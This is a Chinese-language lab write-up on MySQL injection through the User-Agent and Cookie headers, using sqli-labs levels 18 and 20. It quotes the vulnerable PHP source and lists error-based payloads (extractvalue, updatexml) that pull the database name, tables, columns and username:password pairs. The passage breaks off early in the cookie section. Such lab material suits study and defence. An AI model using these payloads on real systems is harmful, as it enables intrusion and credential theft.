MySQL注入中user-agent和cookie存在的注入

uagent注入

1、漏洞成因：

当Web应用程序将用户提供的User-Agent值未经处理直接拼接到SQL查询语句时，攻击者可以通过构造恶意User-Agent值闭合原有SQL语句并注入任意SQL代码。

2、以less-18为例：

相比前几关，第18关对于uname和passwd的输入都进行了过滤源代码如下：

  $uname = check_input($con1, $_POST['uname']);
$passwd = check_input($con1, $_POST['passwd']);

对于输入的单引号、双引号、反斜杠等都进行转义，无法进行闭合

所以下面的查询源代码就不能是注入点

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

而在下面源代码观察发现，有一个insert语句，也有报错的前端回显、对于uagent

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

mysqli_query($con1, $insert);

echo 'Your User Agent is: ' .$uagent;
echo "</font>";

下面用burpsuite抓包测试注入点（要传入正确的输入才可以走到uagent注入点）

抓到包后进入Request模块对User-Agent:字段添加一个单引号,然后Response，会看到mysql报错回显，证明可以尝试报错注入

通过在上面的源码可以分析出uagent字段后面还有$IP和 $uname两个字段，所以进行带入字段和注释看看回显

在后加上 ',1,1)# 其Response并没有报错的回显的正常回显

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 ',1,1)#

接下来进一步可以替换最后一个1来输入报错注入的语句

尝试报错注入数据库名：

',1,extractvalue(1,concat(0x7e,database())))#

',1,updatexml(1,concat(0x7e,(select database())),1))#

尝试报错注入表名：

',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1))))#

',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1))#

尝试报错注入列名：

',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#

',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1))#

尝试报错注入数据信息：

',1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))))#

',1,updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1))#

cookie、

以less-20为例：

同样和第18关一样对于uname和passwd的输入都进行了过滤源代码如下：

$uname = check_input($con1, $_POST['uname']);   $passwd = check_input($con1, $_POST['passwd']);

而对于Request头部也没有的回显和INSERT INTO语句

所以http头部字段没有注入点了

而往下看看源代码会发现有个可疑的注入点：

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
if (!$result)
{
die('Issue with your mysql: ' . mysqli_error($con1));
}

用burpsuite抓包（刷新已经登录界面）

查看cookie字段